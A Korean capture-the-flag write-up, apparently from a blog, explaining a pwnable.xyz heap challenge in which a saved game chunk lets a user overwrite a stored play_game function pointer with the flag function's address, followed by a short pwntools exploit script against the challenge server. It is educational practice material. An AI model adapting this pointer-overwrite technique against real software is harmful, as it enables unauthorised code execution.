# 보호기법 확인
# process
일단, heap에서 각 변수들의 위치가 어디인지 확인하기 위해 디버깅을 해봤다.
name 입력한 후 heap 상태 :
name을 'A'*0x10으로 준 후 상태를 확인해보니, 데이터 영역에 name 값이 적혀있고, name+0x8 위치에 play_game 주소가 적혀있는 것을 확인할 수 있다.
play_game 한 후 heap 상태 :
게임에서 지게되면 score를 -1점을 받는다.
heap을 확인해보면 name 다음에 0xffff로 score 값이 적혀있다.
즉, name + score + play_game 상태이다.
save_game한 후 (malloc 한 후) heap 상태
save_game으로 새로 heap이 할당되어서 0x30 크기의 청크가 있고, name + score(0xffffffffffffffff) + play_game 순으로 값이 들어있다.
우리는 우리가 할당한 청크의 데이터 영역을 제어할 수 있다.
play_game 값이 적혀있는 값을 flag 함수 값으로 바꾼다면, play game 시 flag 함수가 실행될 것이다.
edit_game 시 name(0x10) + score(0x8) 의 더미를 주고 flag 함수 주소를 주면 된다.
이때, play_game 함수 주소와 flag 주소의 상위 바이트 값이 같으므로, 하위 2바이트 값만 준다.
# exploit code
#!/usr/bin/python
from pwn import *
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30009)
#gdb.attach(p)
p.sendafter(": ", 'A'*0x10)
p.sendlineafter("> ", '1')
p.sendlineafter("= ", '0')
p.sendlineafter("> ", '2')
p.sendlineafter("> ", '3')
p.send('A'*0x18 + '\xd6\x09')
p.sendlineafter("> ", '1')
p.interactive()
# exploit
[pwnable.xyz] fclose (fSOP) (1) | 2020.02.10 |
---|---|
[pwnable.xyz] SUS (0) | 2020.02.05 |
[pwnable.xyz] Jmp_table (0) | 2019.11.11 |
[pwnable.xyz] free spirit (0) | 2019.11.11 |
[pwnable.xyz] two targets - shell (pwnable) (0) | 2019.11.02 |